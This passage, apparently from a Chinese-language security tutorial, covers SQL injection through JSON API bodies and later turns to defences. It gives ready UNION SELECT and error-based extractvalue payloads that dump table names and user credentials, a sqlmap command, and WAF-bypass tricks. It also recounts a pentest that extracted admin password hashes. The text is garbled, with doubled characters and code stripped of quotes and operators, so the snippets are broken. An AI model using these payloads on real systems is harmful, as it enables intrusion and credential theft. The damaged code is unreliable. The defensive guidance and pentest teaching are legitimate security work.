BY發(fā)送{“userId”: “1 ORDER BY 5-- “}注意將數(shù)字改為字符串如果返回正常ORDER BY 6--時(shí)出錯(cuò)則說(shuō)明有5列。聯(lián)合查詢獲取數(shù)據(jù)UNION SELECT假設(shè)有5列我們想讓第2、3列顯示在頁(yè)面上。發(fā)送{“userId”: “-1 UNION SELECT 1, database(), user(), version(), 5-- “}觀察響應(yīng)可能直接顯示出當(dāng)前數(shù)據(jù)庫(kù)名、用戶和版本信息。獲取表名、列名利用數(shù)據(jù)庫(kù)的元數(shù)據(jù)表。以MySQL為例{“userId”: “-1 UNION SELECT 1, table_name, 3, 4, 5 FROM information_schema.tables WHERE table_schemadatabase() LIMIT 0,1-- “}通過(guò)遍歷LIMIT參數(shù)可以爆出所有表名如users,admins,passwords。拖取數(shù)據(jù)假設(shè)我們找到了users表猜測(cè)有username和password列。{“userId”: “-1 UNION SELECT 1, username, password, 4, 5 FROM users LIMIT 0,1-- “}注意事項(xiàng)在JSON中進(jìn)行聯(lián)合查詢注入時(shí)要特別注意數(shù)據(jù)類(lèi)型。如果后端代碼期望userId是整數(shù)而你用UNION SELECT返回了一個(gè)字符串在對(duì)應(yīng)位置可能會(huì)導(dǎo)致類(lèi)型轉(zhuǎn)換錯(cuò)誤或查詢失敗。此時(shí)需要嘗試NULL或轉(zhuǎn)換函數(shù)如{“userId”: “-1 UNION SELECT 1, CONCAT(username, ‘:’, password), 3, 4, 5 FROM users-- “}并將注入點(diǎn)參數(shù)改為字符串類(lèi)型。3.4 自動(dòng)化工具與繞過(guò)技巧sqlmap這款神器同樣支持JSON注入。你需要使用--data參數(shù)指定JSON數(shù)據(jù)并用*標(biāo)記注入點(diǎn)。sqlmap -u http://target.com/api/user/profile --data{userId:*} --headersContent-Type: application/json --batchsqlmap會(huì)自動(dòng)處理JSON格式和注入點(diǎn)標(biāo)記進(jìn)行全自動(dòng)探測(cè)和利用。WAF繞過(guò)針對(duì)JSON格式一些特殊的繞過(guò)技巧可能生效JSON語(yǔ)法變異插入多余的逗號(hào)、換行符、制表符。某些蹩腳的WAF解析JSON的規(guī)則可能比應(yīng)用服務(wù)器更嚴(yán)格。{id:1,/*注釋*/username:admin-- }Unicode轉(zhuǎn)義將關(guān)鍵字符進(jìn)行Unicode轉(zhuǎn)義。例如單引號(hào)‘可以寫(xiě)成\u0027。這取決于后端在JSON解析后是否對(duì)字符串進(jìn)行解碼。{username:admin\u0027 OR \u00271\u0027\u00271}參數(shù)污染在JSON中提交同一個(gè)鍵的多個(gè)值雖然不符合標(biāo)準(zhǔn)如{id:1, id: 1‘ AND SLEEP(5)”}。不同語(yǔ)言的解析庫(kù)處理方式不同可能造成WAF和應(yīng)用解析結(jié)果不一致。4. 防御之道從源頭杜絕JSON注入防御JSON注入必須采取縱深防御策略在數(shù)據(jù)流的每一個(gè)環(huán)節(jié)都設(shè)置關(guān)卡。4.1 第一道防線使用參數(shù)化查詢預(yù)編譯語(yǔ)句這是唯一從根本上解決SQL注入的方法。它的原理是將SQL代碼與數(shù)據(jù)分離。你提前定義好帶有占位符如?、name的SQL語(yǔ)句模板然后將用戶輸入的數(shù)據(jù)作為參數(shù)單獨(dú)傳遞給數(shù)據(jù)庫(kù)驅(qū)動(dòng)。數(shù)據(jù)庫(kù)驅(qū)動(dòng)會(huì)確保參數(shù)值只被當(dāng)作數(shù)據(jù)來(lái)處理絕不會(huì)被解釋為SQL代碼。各語(yǔ)言示例PHP (PDO):$stmt $pdo-prepare(SELECT * FROM users WHERE username :username AND password :password); $stmt-execute([ :username $input[username], // 直接使用無(wú)需轉(zhuǎn)義 :password $input[password] ]); $user $stmt-fetch();Python (sqlite3 / MySQLdb):cursor.execute(SELECT * FROM users WHERE username %s AND password %s, (username, password))Java (JDBC):PreparedStatement stmt conn.prepareStatement(SELECT * FROM users WHERE username ? AND password ?); stmt.setString(1, username); stmt.setString(2, password); ResultSet rs stmt.executeQuery();Node.js (mysql2):connection.execute(SELECT * FROM users WHERE username ? AND password ?, [username, password], (err, results) { ... });核心要點(diǎn)無(wú)論你的參數(shù)來(lái)自$_POST、$_GET還是JSON解析后的對(duì)象都必須使用參數(shù)化查詢。這是鐵律。4.2 第二道防線使用安全的ORM框架對(duì)象關(guān)系映射ORM框架如Java的MyBatis需配合#{}、Hibernate Python的SQLAlchemy PHP的Eloquent Node.js的Sequelize、TypeORM等在正確使用時(shí)內(nèi)部也是基于參數(shù)化查詢。關(guān)鍵區(qū)別安全MyBatis的#{}語(yǔ)法是參數(shù)化查詢而${}是字符串拼接存在注入風(fēng)險(xiǎn)。!-- 安全 -- select idfindUser resultTypeUser SELECT * FROM user WHERE username #{username} /select !-- 危險(xiǎn) -- select idfindUser resultTypeUser SELECT * FROM user WHERE username ${username} /select切勿在ORM中拼接字符串即使使用ORM也絕對(duì)不要用字符串格式化或拼接的方式來(lái)構(gòu)造查詢條件。4.3 第三道防線嚴(yán)格的輸入驗(yàn)證與類(lèi)型轉(zhuǎn)換在將數(shù)據(jù)送入SQL之前進(jìn)行嚴(yán)格的業(yè)務(wù)邏輯驗(yàn)證。類(lèi)型強(qiáng)制轉(zhuǎn)換如果參數(shù)應(yīng)該是數(shù)字在代碼中盡早將其轉(zhuǎn)換為整型。$userId (int) $input[userId]; // 非數(shù)字會(huì)變成0或1 // 或者進(jìn)行校驗(yàn) if (!is_numeric($input[userId])) { throw new InvalidArgumentException(Invalid user ID); }白名單驗(yàn)證對(duì)于像排序字段orderBy、狀態(tài)碼這類(lèi)有限集合的參數(shù)使用白名單。allowed_order_fields {id, name, created_at} order_by request.json.get(orderBy, id) if order_by not in allowed_order_fields: order_by id長(zhǎng)度與格式限制對(duì)用戶名、郵箱、手機(jī)號(hào)等設(shè)置合理的長(zhǎng)度和格式正則校驗(yàn)。4.4 第四道防線最小權(quán)限原則與數(shù)據(jù)庫(kù)加固應(yīng)用數(shù)據(jù)庫(kù)賬戶為Web應(yīng)用配置的數(shù)據(jù)庫(kù)連接賬戶只授予其完成業(yè)務(wù)所需的最小權(quán)限通常是SELECT,INSERT,UPDATE,DELETE堅(jiān)決不要授予DROP,CREATE,ALTER,FILE等高危權(quán)限。存儲(chǔ)過(guò)程對(duì)于復(fù)雜查詢可以考慮使用存儲(chǔ)過(guò)程但同樣要注意在存儲(chǔ)過(guò)程內(nèi)部避免動(dòng)態(tài)SQL拼接。定期更新與漏洞掃描保持?jǐn)?shù)據(jù)庫(kù)、Web框架、JSON解析庫(kù)等所有組件的更新。使用DAST動(dòng)態(tài)應(yīng)用安全測(cè)試工具定期對(duì)API接口進(jìn)行安全掃描。4.5 Web應(yīng)用防火墻WAF的定位WAF可以作為最后一道檢測(cè)和緩解的防線但絕不能作為主要的防御手段。一個(gè)配置得當(dāng)?shù)腤AF可以攔截大量已知的、自動(dòng)化的攻擊Payload。但對(duì)于精心構(gòu)造的、針對(duì)特定業(yè)務(wù)邏輯的注入WAF很可能被繞過(guò)。安全的核心永遠(yuǎn)是“安全編碼”WAF只是“安全帶”不是“安全駕駛技術(shù)”。5. 案例復(fù)盤(pán)一個(gè)真實(shí)的JSON注入漏洞挖掘記錄去年在一次授權(quán)滲透測(cè)試中我遇到了一個(gè)非常典型的JSON注入案例。目標(biāo)是一個(gè)新興的SaaS平臺(tái)管理后臺(tái)其API全部采用JSON通信。初步探測(cè)通過(guò)Burp抓包我發(fā)現(xiàn)一個(gè)查詢?nèi)罩镜慕涌赑OST /api/admin/queryLog其JSON結(jié)構(gòu)為{“filters”: {“operator”: “eq”, “field”: “username”, “value”: “admin”}, “page”: 1}。這看起來(lái)是一個(gè)通用的查詢構(gòu)建器。漏洞發(fā)現(xiàn)我嘗試修改value值為admin‘請(qǐng)求后返回了詳細(xì)的MySQL錯(cuò)誤信息直接暴露了表結(jié)構(gòu)的一部分。確認(rèn)存在基于錯(cuò)誤的注入。利用過(guò)程由于是POST請(qǐng)求我直接在Burp Repeater中操作。我首先嘗試了聯(lián)合查詢但發(fā)現(xiàn)頁(yè)面只返回了data字段其他字段不顯示。于是轉(zhuǎn)向基于錯(cuò)誤的注入利用extractvalue()函數(shù)進(jìn)行報(bào)錯(cuò)回顯。Payload:{“filters”: {“operator”: “eq”, “field”: “username”, “value”: “admin‘ AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e)) AND ‘1’‘1”}}響應(yīng)中包含了XPATH syntax error: ‘~saas_platform_prod~‘成功獲取數(shù)據(jù)庫(kù)名。數(shù)據(jù)獲取隨后我通過(guò)同樣的報(bào)錯(cuò)注入逐步獲取了所有表名、列名并最終拖出了管理員用戶表的哈希密碼。整個(gè)過(guò)程中后端沒(méi)有對(duì)field和value參數(shù)做任何過(guò)濾直接拼接到了WHERE子句中。漏洞根源與開(kāi)發(fā)團(tuán)隊(duì)溝通后得知他們?yōu)榱藢?shí)現(xiàn)靈活的動(dòng)態(tài)查詢自己編寫(xiě)了一個(gè)SQL構(gòu)建器。這個(gè)構(gòu)建器雖然對(duì)field做了白名單映射防止查詢非預(yù)期字段但對(duì)value的值完全信任直接使用字符串拼接導(dǎo)致了注入漏洞。修復(fù)建議我向他們提供了三個(gè)方案1. 重構(gòu)查詢構(gòu)建器對(duì)value也采用參數(shù)化查詢2. 放棄部分靈活性將operator和field的組合固定為有限的幾種查詢模式3. 使用更安全的、經(jīng)過(guò)審計(jì)的查詢構(gòu)建庫(kù)如Java的QueryDSL。他們最終選擇了方案1和3的結(jié)合。6. 針對(duì)特定框架的注意事項(xiàng)不同的Web框架在處理JSON和數(shù)據(jù)庫(kù)交互時(shí)有各自的特點(diǎn)和坑點(diǎn)。Spring Boot (Java)RequestBody自動(dòng)綁定非常方便但綁定后的對(duì)象屬性如果直接用于拼接SQL同樣危險(xiǎn)。務(wù)必使用JPA的Query配合參數(shù)索引?1或命名參數(shù):name或使用JdbcTemplate的NamedParameterJdbcTemplate。警惕SpEL表達(dá)式注入它與SQL注入不同但同樣危險(xiǎn)。Express (Node.js)使用body-parser或Express內(nèi)置的express.json()中間件后數(shù)據(jù)在req.body中。避免使用字符串模板或操作符拼接SQL。堅(jiān)持使用mysql2的execute或query的?占位符或ORM的參數(shù)化方法。Laravel (PHP)Eloquent ORM和查詢構(gòu)造器默認(rèn)是參數(shù)化的非常安全。但是如果你使用了DB::raw()或whereRaw()等方法就必須手動(dòng)處理參數(shù)綁定。// 危險(xiǎn) $users DB::table(users)-whereRaw(username . $request-input(name) . )-get(); // 安全 $users DB::table(users)-whereRaw(username ?, [$request-input(name)])-get();Django (Python)Django的ORM是高度安全的幾乎消除了SQL注入的可能。唯一的風(fēng)險(xiǎn)點(diǎn)是使用extra()或RawSQL()時(shí)需要格外小心確保用戶輸入不被直接放入SQL字符串。JSON注入的威脅真實(shí)而普遍它利用了開(kāi)發(fā)者在新技術(shù)棧下的思維滯后。防御的關(guān)鍵不在于識(shí)別數(shù)據(jù)是來(lái)自表單還是JSON而在于時(shí)刻銘記“數(shù)據(jù)即代碼”的威脅模型并在任何數(shù)據(jù)與SQL指令交匯的地方堅(jiān)定不移地使用參數(shù)化查詢。作為開(kāi)發(fā)者請(qǐng)?jiān)诿恳淮尉帉?xiě)數(shù)據(jù)庫(kù)查詢代碼時(shí)都條件反射般地思考我用的方法是拼接字符串還是傳遞參數(shù)作為安全人員在測(cè)試現(xiàn)代Web應(yīng)用時(shí)請(qǐng)務(wù)必把你的測(cè)試Payload塞進(jìn)那個(gè)看似規(guī)整的JSON Body里去看看。